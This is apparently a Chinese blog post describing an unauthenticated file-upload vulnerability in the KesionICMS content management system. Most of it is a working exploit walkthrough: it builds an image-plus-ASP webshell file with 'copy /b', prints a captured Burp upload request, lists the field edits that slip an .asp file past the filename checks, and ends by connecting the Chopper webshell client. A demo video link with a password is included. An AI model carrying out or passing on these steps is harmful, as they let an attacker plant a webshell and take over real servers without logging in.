来源:zph
KesionICMS除了自带的文章、图片、下载系统外还可以在文章、图片、下载三个系统模型的基础上自定义出功能模型比如房产系统,酒店系统,图片系统,软件下载等;自定义表单助您轻松打造在线报名,举报投诉等功能。10年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,力争为全球更多网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。
KesionICMS某个频道上传功能的地方有缺陷,导致漏洞形成。
本漏洞测试的时候无需登录,即可进行操作。
问题出在:UserIncludeUpLoad.ashx,程序只对上传时的文件进行一系列判断,但是没有在文件上传后进行判断,导致可以getshell。
因为官网demo有 安全狗,所以不能用官网来演示菜刀连接……但证明成功上传还是可以的
0x01 准备
由于程序会对图片的有效性进行判断,所以我们不得不copy一下 copy /b 1.jpg+1.asp 123.jpg
其中1.jpg为随意有效图片文件,1.asp为一句话,得到的123.jpg即为copy后待上传的图片文件。
0x02 上传&改包
用burp截包如下:
POST /user/include/upload.ashx HTTP/1.1 Accept: text/* Content-Type: multipart/form-data; boundary=----------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 User-Agent: Shockwave Flash Host: www.******.com Content-Length: 18389 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: ASP.NET_SessionId=dd1zohqmmxotk045nu52vsaf ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="Filename" 2.jpg ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="AutoRename" 4 ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="formid" 0 ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="FieldID" pic ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="upBySwf" 1 ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="ispic" 0 ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="ChannelID" 1001 ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4 Content-Disposition: form-data; name="Filedata"; filename="2.jpg" Content-Type: application/octet-stream (省略文件内容) ------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3 Content-Disposition: form-data; name="Upload" Submit Query ------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3--
我们做以下几个修改:(这块语言可能描述的不太好,大家谅解,下面会有一个视频演示来帮大家理解)
1.复制以下内容(不同网站内容可能不完全相同)
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3 Content-Disposition: form-data; name="Filename" 2.jpg
并在2.jpg后面回车、粘贴
2.将第二个2.jpg改为asp后缀文件
3.将第二个Filename改为Filenames
4.复制以下内容(不同网站内容可能不完全相同)
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3 Content-Disposition: form-data; name="upBySwf" 1
5.将第二个upBySwf改为NoReName
至此就完成修改了。下面按Ctrl+R将Raw发送到Repeater,点击Go 显示出文件路径
菜刀连接即可
演示视频:http://pan.baidu.com/s/1eQrIj7c 密码ptr5 不听歌的话就静音 🙂
并在1后面回车、粘贴
评论 (0)